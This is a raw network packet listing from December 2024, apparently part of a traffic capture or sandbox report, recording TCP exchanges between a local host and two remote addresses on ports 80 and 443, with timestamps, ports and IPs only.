Dec 20, 2024 04:12:26.802897930 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.803809881 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.803858042 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.803915024 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.803958893 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.805237055 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.805284023 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.805316925 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.805363894 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.806695938 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.806742907 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.806823969 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.806865931 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.808108091 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.808154106 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.808187962 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.808233976 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.809545994 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.809595108 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.809659958 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.809705973 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.810992956 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.811053038 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.811094046 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.811141014 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.812421083 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.812472105 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.812540054 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.812582970 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.813842058 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.813899040 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.813941956 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.813987017 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.815290928 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.815335035 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.815408945 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.815453053 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.816745043 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.816795111 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.816857100 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.816905022 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.818185091 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.818231106 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.818306923 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.818351984 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.819638014 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.819684982 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.819695950 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.819741011 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.821010113 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.821072102 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.910679102 CET	443	49811	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:26.910744905 CET	443	49811	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:26.910767078 CET	443	49811	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:26.910789967 CET	443	49811	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:26.910813093 CET	49811	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:26.910836935 CET	443	49811	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:26.910850048 CET	49811	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:26.920242071 CET	443	49811	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:26.921875954 CET	49811	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:26.921883106 CET	443	49811	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:26.934413910 CET	443	49811	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:26.934907913 CET	49811	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:26.934916019 CET	443	49811	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:26.937155008 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.937216043 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.937242031 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.937261105 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.937748909 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.937792063 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.937828064 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.937871933 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.938937902 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.939028978 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.939090967 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.940129042 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.940258026 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.940311909 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.941333055 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.941386938 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.941462040 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.941507101 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.942512035 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.942656040 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.942702055 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.943684101 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.943753958 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.943797112 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.943839073 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.944850922 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.944966078 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.945027113 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.945997000 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.946120977 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.946178913 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.947190046 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.947243929 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.947484016 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.947521925 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.948333025 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.948378086 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.948420048 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.948467970 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.949503899 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.949580908 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.949621916 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.949666023 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.950647116 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.950762987 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.950818062 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.951807976 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.951873064 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.951886892 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.951975107 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.952975988 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.953018904 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.953102112 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.953145981 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.954149008 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.954201937 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.954243898 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.954286098 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.955286026 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.955336094 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.955404997 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.955454111 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.956458092 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.956496954 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.956562996 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.956604004 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.957658052 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.957858086 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.957890987 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.957911015 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.958780050 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.959005117 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.959064007 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.959975004 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.960026979 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.960115910 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.960164070 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.961122990 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.961168051 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.961227894 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.961286068 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.962263107 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.962321043 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.962363958 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.962409973 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.963434935 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.963480949 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.963541031 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.963586092 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.964596033 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.964663982 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.964711905 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.964759111 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.965760946 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.965807915 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.965842962 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.965888977 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.966938972 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.966988087 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.967072964 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.967118979 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.968080044 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.968127012 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.968184948 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.968231916 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.969265938 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.969317913 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.969360113 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.969405890 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.970413923 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.970459938 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.970537901 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.970582962 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.971550941 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.971596956 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.971673012 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.971719980 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.972748041 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.972814083 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.972867012 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.972913027 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.973906994 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.973952055 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.973999023 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.974045038 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.975066900 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.975116014 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.975157022 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.975202084 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.976226091 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.976274014 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.976358891 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.976406097 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.977389097 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.977436066 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.977556944 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.977602959 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.978579044 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.978626013 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.978679895 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.978728056 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.979727983 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.979775906 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.979840040 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.979882956 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.980989933 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.981035948 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.981113911 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.981158972 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.982315063 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.982362986 CET	49811	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:26.982378006 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.982423067 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.982460976 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.983201981 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.983264923 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.983331919 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.983376980 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.984361887 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.984409094 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.984452009 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.984497070 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.985542059 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.985589027 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.985637903 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.985680103 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.986699104 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.986748934 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.986804962 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.986849070 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.987857103 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.987903118 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.987962008 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.988004923 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.989037991 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.989082098 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.989124060 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.989170074 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.990190029 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.990237951 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.990304947 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.990348101 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.991339922 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.991384029 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.991532087 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.991575956 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.992522001 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.992569923 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.992641926 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.992686033 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.993670940 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.993731976 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.993772984 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.993823051 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.994843006 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.994889975 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.994950056 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.994992971 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.996041059 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.996087074 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.996156931 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.996202946 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.997226954 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.997272968 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.997349977 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.997399092 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:26.998290062 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:26.998338938 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.030088902 CET	443	49811	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:27.034291029 CET	443	49811	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:27.034375906 CET	49811	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:27.034382105 CET	443	49811	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:27.076148987 CET	49811	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:27.102499008 CET	443	49811	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:27.106522083 CET	443	49811	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:27.106592894 CET	49811	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:27.106599092 CET	443	49811	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:27.106750011 CET	443	49811	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:27.106806040 CET	49811	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:27.107482910 CET	49811	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:27.107495070 CET	443	49811	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:27.107505083 CET	49811	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:27.107511044 CET	443	49811	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:27.132492065 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.132540941 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.132580996 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.132623911 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.133124113 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.133168936 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.133182049 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.133225918 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.133985043 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.134027958 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.134114981 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.134211063 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.135128975 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.135231972 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.135260105 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.135297060 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.136275053 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.136332035 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.136368036 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.136405945 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.137433052 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.137490034 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.137525082 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.137732029 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.138612986 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.138669968 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.138755083 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.138864994 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.139765978 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.139830112 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.139872074 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.139913082 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.140930891 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.140996933 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.141045094 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.142079115 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.142179012 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.142194986 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.142237902 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.143235922 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.143276930 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.143353939 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.143398046 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.144414902 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.144458055 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.144499063 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.144542933 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.145556927 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.145601034 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.145670891 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.145714998 CET	49810	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:27.146759987 CET	80	49810	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:27.146804094 CET	49810	80	192.168.2.4	31.41.244.11
